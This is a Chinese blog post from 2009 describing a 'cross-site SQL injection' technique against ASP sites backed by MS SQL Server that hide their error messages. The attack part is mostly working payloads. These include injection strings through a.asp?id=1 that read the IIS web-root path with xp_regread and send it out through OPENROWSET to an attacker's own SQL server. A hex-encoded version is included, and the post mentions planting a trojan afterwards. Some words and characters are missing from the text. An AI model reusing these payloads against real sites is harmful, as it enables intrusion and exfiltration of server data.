专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » 跨站脚本注入:跨站式SQL注入 »正文

跨站脚本注入:跨站式SQL注入

来源: 发布时间:星期六, 2009年9月12日 浏览:19次 评论:0
BY 老凯(laokai) QQ 35054779
在屏蔽了信息机器上获得网站WebSite绝对路径


阶段在尝试攻击个网站WebSite时候发现对方系统已经屏蔽了信息也是普通帐号连接数据库系统也是打了全部补丁这样要攻击注入是比较麻烦因此我自己搞了种“跨站式SQL注入”


思路如下既然你不显示信息我能不能让你显示到别地方呢?让SQL把写入别地方


既然是研究阶段我们最好不要直接注入网站WebSite而是首先用查询分析器来分析这个思路方法


个想法:


SQL可以连接外部数据库


于是首先用查询分析器登陆到我自己个虚拟主机数据库(这样权限比较小)然后在本地启动个SQL server并且用SA身份在SQL事件探测器里边建立个跟踪


尝试 sp_addlinkedserver 如果成功那就和操作本地数据库样了


提示必须是sysadmin身份失败


个思路:


只要你SQL敢发命令过来我不管执行结果如何样只要接获到命令就可以了


于是考虑到个权限要求不是很高命令:OPENROWSET 来跨服务器查询这个命令作用是把个数据库命令发给远程数据库取回来结果集于是就启动“事件跟踪”监视发过来命令


次尝试首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立个表随后是把路径写入数据库这里我考虑直接生成个跨库脚本算了好方便执行

DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert o laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

这段代码什么意思哪?就是把网站WebSite路径信息写入数据库也不是单纯写得同时构造个SQL语句这个语句执行结果是给laokai这个数据库cha8字段增加了这样行记录

SELECT a.* FROM OPENROWSET('SQLOLEDB','你IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a

其中C:\Inetpub,,1就是注册表记录根目录,最后要做是:

DECLARE @a1 char(255) @a1=(SELECT cha8 FROM laokai) exec (@a1);--

这样就等于执行了

SELECT a.* FROM OPENROWSET('SQLOLEDB','你IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a



条语句同时你会在事件探测器那边会显示



SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1'



其中C:\Inetpub 就是网站WebSite路径调试成功


现在进入实战阶段某网站WebSite屏蔽了全部出错信息但是我们可以确定它存在注入点 a.asp?id=1,如何做呢?


a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--


返回正常,我们建立了个叫laokai有个字段叫cha8,然后:



a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert o laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--



出错了出错信息被屏蔽了如何办?经过研究发现是里边某些例如 +号需要转化成16进制或许还有别地方要转化如何办啊?


于是写了个ASCII转化16进制工具把全部代码转化然后注入就OK了(工具下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘不要让他们下服务器受不了),最后自然是执行上述语句了



a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%5F%66%6E%61%6D%65%3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20



执行成功


a.asp?id=1;DECLARE @a1 char(255) @a1=(SELECT cha8 FROM laokai) exec (@a1);--


网站WebSite那边显示还是正常页面但是你这边事件探测器那边会显示:

注入成功后边知道了绝对路径如何添加木马文章就很多了这里就不再描述了
最后介绍说明下:这只是个新型攻击思路讲解让大家通过另外种方式把数据库里边数据取出来


''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分修改成insert把数据加入数据库也应该没有问题甚至单独保留 @result 都没问题不过这样那边会出错这边就留下个exec 'C:\Inetpub,,1'



  • 篇文章: 彻底防止ACCESS数据库文件被下载

  • 篇文章: 黑客攻击手段揭秘
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: